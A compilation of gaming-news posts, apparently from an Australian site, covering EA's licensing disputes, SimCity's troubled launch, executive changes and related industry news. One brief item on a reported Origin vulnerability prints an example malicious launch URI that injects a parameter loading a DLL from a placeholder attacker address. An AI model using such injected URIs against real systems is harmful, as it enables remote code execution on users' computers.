Who wanta some Wang? I was hoping, just maybe, that iconic line would make it into the just-announced reboot of Shadow Warrior.

It did not. Instead, we were treated to an artsy video with butterflies and classical music that had no relation whatsoever to the original. What a waste.

Last fortnight, I looked at the class action lawsuit over Aliens: Colonial Marines.  Before release, such a big deal was made out of “staying true to the Aliens universe”. Yeah, well. We all know how that turned out.

Clearly, staying true to the spirit of an IP is hard… really hard. Some developers do manage, such as Firaxis’ excellent remake of XCOM. But most will fail miserably, like Aliens: Colonial Marines. It’s time then, to look at what actually ensures these remakes and IP games are actually true to the franchise.

An interested licensor with commercial trademarks is the strongest protection

Trademarks are the strongest level of protection, providing the best way to ensure something stays true to the source.

Games Workshop is notorious for its trademarks, owning everything about Warhammer and every way to mangle “space marines” in the Queen’s English (for the original DOS-version of Space Hulk, they even had Jervis Johnson do the voiceovers).

These trademarks give Games Workshop a lot of control over where and how each trademark is used. While it doesn’t quite explain why Dawn of War 2 ended up as Necromunda in Space, for the most part Games Workshop is both rabid and successful at ensuring its trademarks are used to represent its current revision of the Warhammer universes (and I do mean revision).

When an interested company like Games Workshop does grant permission, their will is enforced by extra bureaucracy during the game’s development. Typically, they will have say in the various development milestones. If a game does not stay true to the source material, the licensor (i.e. Games Workshop) has the power to put it on hold until it does, lest the permissions be revoked.

Gun names are iffy

Earlier this month, EA decided it would no longer seek permission for using the names of guns. Up to this point, publishers have almost universally sought permission from manufacturers to use the real names of guns.

However, licensing of guns is uncertain. This was shown when Colt sued Bushmaster (a rival manufacturer) over the use of the “M4” name. Despite Colt owning the M4 name, and being the actual inventor of the gun, Bushmaster was allowed to keep using the name. It’s for this reason that EA would be going forward with its decision. Gun names just aren’t as protected as assumed ever since Goldeneye 64 renamed the Walther PPK to the PP7.

The first issue is that there is a difference between the gun’s trademark and the military’s designation. For example, the Barrett M82 is the rifle’s trademarked commercial name. M107 is the military designation and is not trademarked. Similarly, even though Colt owns the M4 trademark, the military designation is very close—M4A1.

The second issue is that such widespread use of the M4 has led to the M4A1 (the not trademark) being shortened into the slang term M4 (the trademark) to describe a carbine. When this happens, a trademark is in danger of becoming generic and losing its protection, as happened with M4.

I can’t say for certain whether EA will get away with it, but gun manufacturers won’t be happy. In some cases, licensing fees for guns could approach many thousands of dollars, even as much as five to ten percent of a game’s retail sales.

There’s also the issue that these licensing agreements have in the past given gun manufacturers some creative control over games. Under Barrett’s licensing agreements, for example, you can’t put the M82 in the hands of the non-American bad guys. But with EA leading the way, now we might see all manner of modern-day commies wielding high-powered sniper rifles.

So what happened with Colonial Marines?

So erm… if IP owners can have such control over the direction of a game, what did happen with Colonial Marines? As we’ve heard before, no one bothered to check up on how it was going. Gearbox was too busy with Borderlands, while Sega seemed out of the loop entirely.

This shows an important flipside to licensing. Usually, licensing is maligned, for completely opposite reasons. Movie licensed games are often bad because of the tight deadlines imposed on the game, or the license takes too much money away from the game’s development.

In the case of Aliens: Colonial Marines, however, the problems came from no oversight at all being applied by the owner of the IP. I was unable to find out who this is, but they had a great chance to ensure the game was up to scratch, by writing milestone agreements and checkups into the licensing agreement.

They didn’t, however, and what we got was the final result of their neglect—treating the Aliens IP as an asset to be flogged off rather than ensuring the proper creative development. They, along with Gearbox, and Sega, are to blame for what happened. In the balance of everything, all franchises should be so lucky to have the Emperor’s lawyers dictating the correct way to pronounce speesh marines.

A website for a MOBA called Dawngate has appeared overnight, offering a chance to be a part of a MOBA that “looks and feels familiar while offering a whole new way to experience MOBA gameplay”.

“Dawngate empowers you to forge the champions you love for the roles you want in a competitive arena,” claims the site, “shaped by ever-evolving, community-driven content and story.” And, well… that’s all there is to know so far, other than the fact that EA have signed on to publish it.

You can hit up the official site to sign up for beta, or perhaps mine meticulously through the source code for clues. With EA on board though, I should think we’ll be hearing more about this next month at E3. Stay tuned.

Source: Blue’s News

EA have announced that they will no longer be moving forward with the online pass system, despite being one of the most ardent supporters of the idea. Why? Well, because you demanded it.

“None of our new EA titles will include that feature,” said EA’s John Reseburg in an interviee with VentureBeat.

“Initially launched as an effort to package a full menu of online content and services, many players didn’t respond to the format. We’ve listened to the feedback and decided to do away with it moving forward.”

However, Reseburg did emphasise that EA was “still committed to creating content and services that enhance the game experience well beyond the day you first start playing,” which presumably means multiplayer, DLC and other various add-on components.

Source: VentureBeat (Thanks, Stefan)

Following the news that EA had signed an exclusive deal with Disney to give them the rights to all Star Wars games, the company is now opening a new DICE studio in California to focus entirely on Star Wars games.

The new studio is expected to grow to 60 employees by the end of this year, and is aimed at directly competing with Treyarch, who operate out of the same city.

“There is an extreme talent pool over [there] that we want a part of,” said DICE general manager Karl-Magnus Troedsson to the Wall Street Journal. “It’s no secret that our main competitor is there.”

A number of former Medal of Honor: Warfighter developers are already on board and the studio is hiring for their first title.

Source: WSJ (paywalled) via Gamasutra

Most games companies operate under license from gun manufacturers when it comes to displaying their weapons in-game; signing contracts that allow their use in line with the gun owners right to receive royalties for their trademarks. Now, however, EA have announced that they’re not going to be doing that anymore.

So does that mean they’re moving away from violent games which use realistic guns — especially in the wake of the recent controversies with the Medal of Honor: Warfighter site actually linking to arms manufacturer sites where you could purchase your own guns? Nope! They’re still going to be using the same, real-world brands, but they’re just… not going to pay for the rights anymore.

EA is now asserting fair use rights, claiming that the company has no need to pay for something if they’re displaying it in a reasonable, real-world manner. “We’re telling a story and we have a point of view,” said EA’s Frank Gibeau to Reuters. “A book doesn’t pay for saying the word ‘Colt,’ for example.”

Reuters also noted that there hasn’t been a single case so far when a gun manufacturer has sued a game maker for using their firearms without a license.

Source: Reuters via PC Gamer

The latest financials are in from gaming’s two biggest names, with results generally positive for both Activision and EA. Digital revenue grew strongly for both companies, showing an increasing trend towards digital sales over brick-and-mortar releases.

Activision reported that World of Warcraft subscriptions were down to 8.3 million, having lost 1.3 million across the Asian market. However, even at 8.3 million World of Warcraft is still the strongest subscription MMO on the market. Heart of the Swarm was the number one PC gaming for Q4 with 1.1 million copies sold in just two days, and Skylanders Giants and Black Ops 2 were the number one and two games in North America and Europe combined.

Meanwhile over at EA, SimCity has shifted over 1.6 million units with “nearly 50% of those sales were high-margin digital downloads”. Dead Space 3 and Crysis 3 sales came in “below expectations”, but FIFA 13 sold 14.5 million units this financial year and produced digital revenue up 94% over its last installment.

Battlefield Premium subscriptions are now at 3.5 million, and have generated over $120 million in revenue for the company.

Source: VG247, here and here

If you ever thought EA might stop producing Battlefield games, maybe, one day, in the future… well, nope. In fact, they’ve just gone and registered all the domains for everything from Battlefield13.com up to Battlefield20.com.

Unfortunately, some quick-thinking squatters own the rights to Battlefield10.com, Battlefield11.com and Battlefield12.com. But we’re sure EA can come to some arrangement.

As Blue’s News points out, if EA follows the current pattern of releases, Battlefield 20 will be out some time in 2077. So we’ve probably got a while to wait to see how this all pans out.

Source: Fusible via Blue’s News.

Disney and EA have signed an exclusive deal for the production of Star Wars games, with their studios at DICE, Visceral and BioWare tagged to be involved in the production of future titles.

While the amount of money that changed hands was not disclosed, EA did reveal in a further blog post that the Frostbite 3 engine would be used for all new Star Wars titles. EA has almost total rights to game production, but Disney has reserved the right to develop games “within the mobile, social, tablet and online game categories”.

There is no official mention of what will happen to Star Wars 1313, so that title — and any others in development at LucasArts when Disney pulled the plug — will have to remain a mystery. Obsidian’s dream of pitching a new Star Wars RPG is probably over, however.

Source: Businesswire and EA

One of the  industry’s largest businesses appears to be undergoing what is euphemistically known as ‘restructuring’. According to Kotaku’s sources, the publisher of mega hits like Battlefield and Mass Effect may be terminating as much as 10% of its total workforce.

As reported by Game Informer, multiple sources within the company have indicated that EA is winding up its Partners program. Under the Partners initiative, EA has distributed a range of third party titles, including Crysis and Left4Dead. EA is also said to be closing two of its development teams, casual gaming specialist PopCap Vancouver and Quicklime Games, best known for its work on the Need For Speed series.

EA has thus far proved to be less than forthcoming regarding the extent of the layoffs, conceding only that it has been forced to make “some difficult decisions to reduce the workforce in some locations”. We have requested more detail from EA and will update this story should we receive it.

Source: Kotaku and Game Informer

I spent about 16 hours in SimCity across the Easter long weekend. This was my first time with the game since the limited one-hour beta, and while it was great to see all the new stuff I was forbidden from seeing in that testing period, the biggest feeling that I came away with after those sixteen hours was not one of happiness and discovery.

It was anger. Anger and frustration.

For a game that’s built with such charming, inoffensive graphics, relaxing music and cute sound effects, that’s a pretty impressive achievement. And yet when my city rolled back for the fourth time and undid another hour’s worth of work, what else was I supposed to be feeling?

Earlier this month the announcement that SimCity would be getting free advertising DLC for Nissan, however, demonstrated that I had another emotion yet to experience: incredulity. That’s the same emotion I felt again today, when I read that you can buy specially-marked Crest and Oral-B products to get DLC codes for exclusive new tourist attractions in your city (more info here).

Unlike the Nissan LEAF station, at least these new products don’t result in your simulated city turning into a tiny advertising billboard. But that’s not the point: the point is that SimCity is a literally broken game that doesn’t work properly — and the fact that even a small amount of development time is being devoted to extraneous DLC nonsense like this should be upsetting to players and fans everywhere.

Your city has stopped processing correctly

SimCity really isn’t in a good place as a product. We’re talking about a game so broken that you literally can’t even rely on something as simple as chat messages, which arrive anywhere up to ten minutes after sending them and often in the wrong order. A game where cars stop on the highway for no reason, blocking all traffic into your village city. A game where you spend hours and hours turning down the same repetitive quests because, for some reason I can’t possibly fathom, the game can’t track what you have and haven’t done.

Now, alone, all these problems (and the many others) would be fine: little bugs that you could ignore, or perhaps work around. But SimCity needs to be online for some reason (even though it actually really doesn’t) and so we’re talking about a game where — for no reason at all that can possibly be justified in this era of MMOs — your city can and will randomly stop “processing correctly”, resulting in forced rollbacks that undo hours of work.

SimCity is broken. It is a broken game, and it’s built on Origin’s hideously broken architecture. Origin is the only game service I’ve ever used where I’ve literally had to restart my entire computer to get the friends list to display correctly. Coupled with SimCity, it’s like somebody decided to build a house of cards on top of a trampoline. Surprise! The cards fell down somehow. Who could have foreseen this?

Lots of people aren’t having problems connecting, and to them I say: lucky you. But even if you can connect just fine, the game is still all kinds of broken, confusing, and in need of serious development work. So why are Maxis and EA spending any time at all on Nissan-brand in-game ads?

But it’s free!

Yes, of course it’s free. Yes, if I don’t want it, I don’t have to get it. All these things are true, and you know — you’re right. I am choosing to focus on this and to become frustrated with it because — like some sort of customer — I paid money for a product and now, over a month after launch, the game still doesn’t work properly.

I, like many others, am invested in the future of SimCity and we want it to get better, faster, so we can go back to enjoying it. Instead, I’m seeing press releases telling me I can now have Nissan-branded buildings in my city (for free!).

This is just the tip of the iceberg. There’s more DLC on the way, and a whole pile of it — we’re talking Roman casinos, a Coal Stripmine great work, army bases, mosques, a Red Cross building, an Amusement Park and more. There’s even something called a ‘Crime Lord Package’, if you scrape the datafiles deep enough.

Obviously, this isn’t the first time EA and Maxis have flirted with corporate sponsorship. Hell, there’s an entire Katy Perry-brand version of The Sims, and SimCity Societies featured a partnership between BP and EA.. But here’s the thing: These were actually working games before the DLC started rolling in. SimCity was actually broken right out of the gate, to the point where EA Labels boss Frank Gibeau has publicly expressed his disappointment in the launch.

Once you’ve got a game engine up and running, most of the hard work has been done: it’s easy enough to design and code a new building, get some 3D assets in place to represent it, and make it happen. But we have to ask the question: how much development time is this taking up?

Could that development time be used to fix bugs instead? Could it be used to expand city sizes? Could it be used to develop a more stable cloud-saving service (since we know that the city is actually simulated on your computer)? Is the Crime Lord Package being worked on right now? What about the Roman Casino? Have they already been worked on? And if they have, are the developers who finished them now back on bugfix and polish?

These are all questions that we should be asking.

There is no conspiracy here

Before we get all tinfoil-hats up in this joint, let’s be clear that there is no conspiracy here. EA obviously didn’t (and continue to not) enjoy the negative press surrounding SimCity’s launch, and Maxis doubly so. That negative press has probably cost them, in sales, more money than Nissan would have spent to get their branded advertising DLC into the game. Probably more even than Oral-B and Crest are pumping into the joint promotion.

Chances are very good that these deals were signed months ago, before SimCity even launched, and EA/Maxis are obliged to honour them. If this is supposed to be a money-making exercise, it’s a pretty poor one — and given that the current promotion also provides codes for The Sims Social, the Facebook game that EA just announced would be shutting down, there’s little incentive to believe this is some sort of mad cash grab.

What we need to see now from EA and Maxis is a strong commitment to not only explaining exactly why the game needs to be online (and not just saying “We designed it that way”), but to moving ahead with solutions to these problems, problems that have no place plaguing such a high-profile title with such a big push behind it. Not more announcements about more DLC-distractions from the core issue: SimCity is a broken game.

And we, as consumers, need to keep asking questions and demanding answers — especially when we’re being charged through the nose.

Which is actually meant to be a positive thing, at least according to BioWare co-founder Greg Zeschuk. Speaking to Games Industry International, Zeschuk said that “The best analogy I use, in a positive way, is EA gives you enough rope to hang yourself.”

Zeschuk, who departed the company last year to focus on making beer, claims he “definitely rejects” the idea that EA forced the company to include microtransactions, DLC, and multiplayer.

“It was really interesting because we really made all the choices we wanted to make ourselves; these are all things we wanted to try. And that’s something to remember – while we were independent we didn’t have quite the resources we had as part of EA, and then we got to EA and it was like ‘wow we can do all this stuff.’ We had to be really thoughtful about what we wanted to focus on.”

“We had complete creative control over a lot of it; some fans didn’t like some of it and some of it was experimental, quite frankly,” he said.

Source: Games Industry International

EA has taken out The Consumerist’s ‘Worst Company in America’ award for the second year in a row — the first time any company has done so in the history of the poll.

The game publisher edged out the Bank of America, Comcast and Walmart to claim the prize, taking an astonishing 78% of the final vote against the Bank of America.

Today’s announcement comes on the back of a heartfelt message by EA COO Peter Moore in which he claimed that the company had made a number of mistakes but was dedicated to fixing them and doing better.

In response, The Consumerist itself issued a strongly-worded rebuttal, saying that EA was shifting the blame to homophobes and “whiny Madden fans” rather than addressing the real reasons that people voted for EA, including dissatisfaction over broken games and microtransaction models.

Source: The Consumerist

With EA looking set to take out the “Worst Company in America” poll for the second year in a row, COO Peter Moore – running favourite to take over from the recently-resigned John Riccitiello – has promised that EA “can do better” in an impassioned blog post.

“I’ll be the first to admit that we’ve made plenty of mistakes.These include server shut downs too early, games that didn’t meet expectations, missteps on new pricing models and most recently, severely fumbling the launch of SimCity. We owe gamers better performance than this.

“We are committed to fixing our mistakes. Over the last three weeks, 900,000 SimCity players took us up on a free game offer for their troubles. We owed them that. We’re constantly listening to feedback from our players, through our Customer Experience group, Twitter, this blog, or other sites. The feedback is vital, and impacts the decisions we make.

“So here’s my response to this poll: we can do better. We will do better. But I am damn proud of this company, the people around the globe who work at EA, the games we create and the people that play them. The tallest trees catch the most wind. At EA we remain proud and unbowed.”

Moore is popular among press and gamers alike for his outspoken and frank personality, and for being a passionate gamer; although nobody is certain if they were real or temporary, he proudly displayed Halo 2 and Grand Theft Auto IV tattoos during his stint at Microsoft. He was the man who had to make the call on the Dreamcast, though.

The full post is well worth a read, particularly for Moore’s stirring response to criticism of EA’s LGBT policies.

Source: The Beat

EA Labels bossman Frank Gibeau has ruled out the idea that they forced Maxis to adopt always-online DRM for SimCity, claiming in a recent interview with GamesIndustry that they wouldn’t do such a thing because “DRM is a failed, dead-end strategy”.

“It’s not a viable strategy for the gaming business,” he concluded.

Gibeau also poured water on any conspiracy theories about “evil suits at EA forcing DRM down the throats of Maxis”. “That’s not the case at all,” he said. “At no point in time did anybody say ‘you must make this online’. It was the creative people on the team that thought it was best to create a multiplayer collaborative experience, and when you’re building entertainment you don’t always know what the customer is going to want. You have to innovate and try new things and surprise people and in this particular case that’s what we sought to achieve.”

“If you play an MMO, you don’t demand an offline mode, you just don’t. And in fact, SimCity started out and felt like an MMO more than anything else and it plays like an MMO.”

Gibeau did however say that he was “disappointed” that they didn’t do a good enough job of communicating with consumers about exactly how much like an MMO it was.

Source: GamesIndustry

John Riccitiello’s departure from EA has been a high-profile event, and naturally when a high-profile CEO departs there’s always somebody ready to anonymously put the knife in.

One ex-EA executive, speaking anonymously to GamesIndustry International, described Riccitiello as ‘the reason EA stopped kicking ass’.

“Riccitiello lost money every single year he was at EA while I was there, (and probably every other year he was there too). He just didn’t know anything about games, or rather, interactive entertainment in general,” said the anonymous ex-exec.

“After I left, he was gone for a while… [then] Riccitiello came back, but since he hadn’t learned anything as a VC guy, he really didn’t bring anything of value with him the first or the second time. He’s much more obnoxious than impressive.”

“EA hasn’t done much of anything of interest in 10-15 years, as proven by the unstaunched bleeding out of equity over that entire time period. It’s sad really, that company used to kick ass. Riccitiello was the single largest reason it stopped. Maybe it will heal, but I don’t think so.”

Meanwhile, EA’s Peter Moore has blasted Kotaku over their comments on the whole affair, taking to Facebook to slam the site for “revelling in self-smugness”.

“Kotaku reveling in what, due to their self-smugness, they don’t realize is a sad day for our industry, which is the platform on which they actually make money,” reports GamesIndustry International (again). “John not only helped propel our company and interactive entertainment into new experiences, thus enticing millions of new people to become ‘gamers’, his work leading the ESA in recent years has helped ensure that we don’t experience the fate of the music industry,” Moore said of his former boss. “Sad loss for all of us who had the pleasure of working with him as we emerged from The Burning Platform.”

Origin users are being warned that an exploit exists which could allow programs to use Origin to execute malicious code on your computer. The exploit, which works in much the same manner as a similar one spotted in Steam in October, would allow a hacker to use a web browser to force-open Origin and make it run unwanted code.

The exploit would change the command from normal syntax, such as origin://LaunchGame/[GameID], to something closer to origin://LaunchGame/[GameID]?CommandParams= -openautomate ATTACKER_IPevil.dll.

Security firm ReVuln, who also discovered the Steam exploit, have released a paper on the hack, as well as a video demonstration.

EA have sent a comment to Ars Technica to say “Our team is constantly investigating hypotheticals like this one as we continually update our security infrastructure.”

Source: Ars Technica

Big changes are in the works today at Electronic Arts as John Riccitiello resigns his CEO position. In his resignation letter, Riccitiello cites his personal responsibility for the failure of the company to meet financial guidance.

“This is a tough decision, but it all comes down to accountability,” said Riccitiello. “The progress EA has made on transitioning to digital games and services is something I’m extremely proud of. However, it currently looks like we will come in at the low end of, or slightly below, the financial guidance we issued in January, and we have fallen short of the internal operating plan we set one year ago.”

“EA’s shareholders and employees expect better, and I am accountable for the miss.”

A successor has not been named at this early stage, but Riccitiello is hoping to “allow the talented leaders at EA a clean start on FY14″.

Source: VG247

Comments by EA’s chief financial officer Blake Jorgensen last week that all future games would have microtransactions built in initially caused some disturbance in the Force — but Jorgensen has now sought to downplay any concerns.

“I made a statement in the conference along the lines of ‘We’ll have micro-transactions in our games’ and the community read that to mean all our games, and that’s really not true,” said Jorgensen at the Wedbush Technology Conference in NYC.

Jorgensen clarified that while they would ensure all games would have the ability to support microtransactions, that wasn’t the same as actually mandating their inclusion.

“All of our mobile games will have micro-transactions in them, because almost all of them are going to a world where they are play for free. We’re building into all of our games the ability to pay for things along the way, either to get to a higher level, to buy a new character, to buy a truck, a gun, whatever it might be.”

Source: Polygon

In a surprising twist, today Ubisoft and EA agreed to use each others’ digital delivery platforms to sell each others’ various games. Presumably coming together in a concerted effort to make Steam less appealing, the two publishers will now work together rather than trying to cut each others’ lunch.

In fact, Ubisoft is opening its doors to all manner of third-party developers for the first time, including Warner Bros. Interactive Entertainment, 1C Company, bitComposer Games, Bohemia Interactive, Encore Software, Focus Home Interactive, Freebird Games, Iceberg Interactive, Nordic Games, Paradox Interactive, Recoil Games, Robot Entertainment, Telltale Games, and Torn Banner Studios.

There’s no word on whether or not installing an EA game through uPlay will require you to launch Origin, or if buying an Ubisoft game through Origin will mean firing up uPlay anyway. Hopefully not, as that would be… well, the word “horrific” springs to mind.

Source: Press Release

Origin are actually using their massive discounting ability to offer some impressive discounts on EA games, valid until midnight AEDT tonight.

If you head over to the Origin online store you can grab Dead Space 1 for $4.50, Dead Space 2 for $6, and the entire Mass Effect Trilogy for $39 (normally $70).

Meanwhile, Dragon Age: Origins and the sequel are $10 each, Crysis is just $4.50 (what is this, Steam?) and Battlefield 3‘s various expansions are anywhere from $10 – $12 (if you’re not a Premium member).

Check them all out by clicking here.

Source: Origin (thanks Cas!)

Remember how EA sued Zynga, claiming explosively that their two games were so similar as to be identical to a casual observer? And then Zynga counter-sued EA, lashing out with claims that EA was just mad, bro, that their crappy little online games weren’t as good as Zyngas?

Well, seven months on, and what could have been a highly entertaining courtroom drama has instead been settled out of court with no drama at all. In fact, both companies released the following, identical statement over the weekend: “EA and Zynga have resolved their respective claims and have reached a settlement of their litigation in the Northern District of California.”

However, as AllThingsDigital reports, EA may not have too much to worry about — Zynga’s ‘The Ville’, the game at the center of EA’s lawsuit, is one of the games marked to be phased out as Zynga rapidly cuts costs and rearranges its internal operations to avoid bankruptcy following months of consecutively poor financials.

Source: AllThingD

In an opinion piece published on Forbes, EA executive Gabrielle Toledano claims that “If we want more women to work in games, we have to recognize that the problem isn’t sexism.”

While Toledano doesn’t deny that sexism exists, she claims that it’s no worse than any other industry and that blaming men for it doesn’t help to fix the problem. “If women don’t join this industry because they believe sexism will limit them, they’re missing out. The sky is the limit when it comes to career opportunities for women (and men) in games. If we want the tide to turn and the ratio of men to women to really change then we need to start making women realize that fact,” claimed Toledano.

“Sexism is an unfortunate reality of our times, but as women we must seek the power and ability in ourselves to change the dynamic. Cast aside the preconceptions, and look for the opportunities and places to make an impact. And I can tell you firsthand that in the video game industry women are not just welcome, we are necessary and we are equal.”

Source: Forbes

Sad news for THQ this morning as news breaks that the company’s assets will be auctioned off on a “title by title” basis to interested parties come January 22.

Those interested parties are now known to include EA, which has completed on-site visits of major THQ operations. Warner Bros. is also known to be in the running, following the weekend’s news that a judge had ruled the current bankruptcy operation was seemingly designed to thwart other non-Clearlake bidders rather than actually being in the best financial interests of THQ’s creditors.

As such, all parties have now agreed to a title-by-title auction — which may mean that different interested parties end up with different IPs.

Source: Develop

EA have released a list of titles that will soon have their online services shut down. Starting tomorrow and through to January 19, twelve games will have their online capability shuttered. The list is as follows:

January 19, 2013 — Online Services Shutdown

• Trenches II for iPad, iPhone and iPod touch

January 14, 2013 — Online Services Shutdown

• The Sims 2 for PC/MAC and TheSims2.com

January 11, 2013 — Online Services Shutdown

• FIFA Soccer 11 for PC, PS3, Wii & Xbox 360
• FIFA Soccer 11 Ultimate Team for PS3 & Xbox 360
• Madden NFL 11 for PS3, Wii & Xbox 360
• Madden NFL 11 Ultimate Team for PS3 & Xbox 360
• NBA JAM for PS3 & Xbox 360
• NBA LIVE 10 for PS3 & Xbox 360
• NCAA Football 11 for PS3 & Xbox 360
• NHL 11 for PS3 & Xbox 360
• NHL 11 Ultimate Team for PS3 & Xbox 360

January 3, 2013 — Online Services Shutdown

• FIFA Manager 11 for PC

Source: Thanks, PalZer0

We’ve just been alerted to the fact that somebody has apparently pulled a fast one. If you try to visit steampowered.com.au you’ll see it for yourself, as you’re redirected it to EA’s Origin store.

A WHOIS lookup on the domain shows it’s registered to someone called “David Harry” at Netfleet.com.au, with nameservers operating out of Fabulous.com, so it doesn’t look like an official EA job but rather the work of some delightful internet humourist.

So! There you go. Well done, whoever that was.

Source: Thanks, Alex!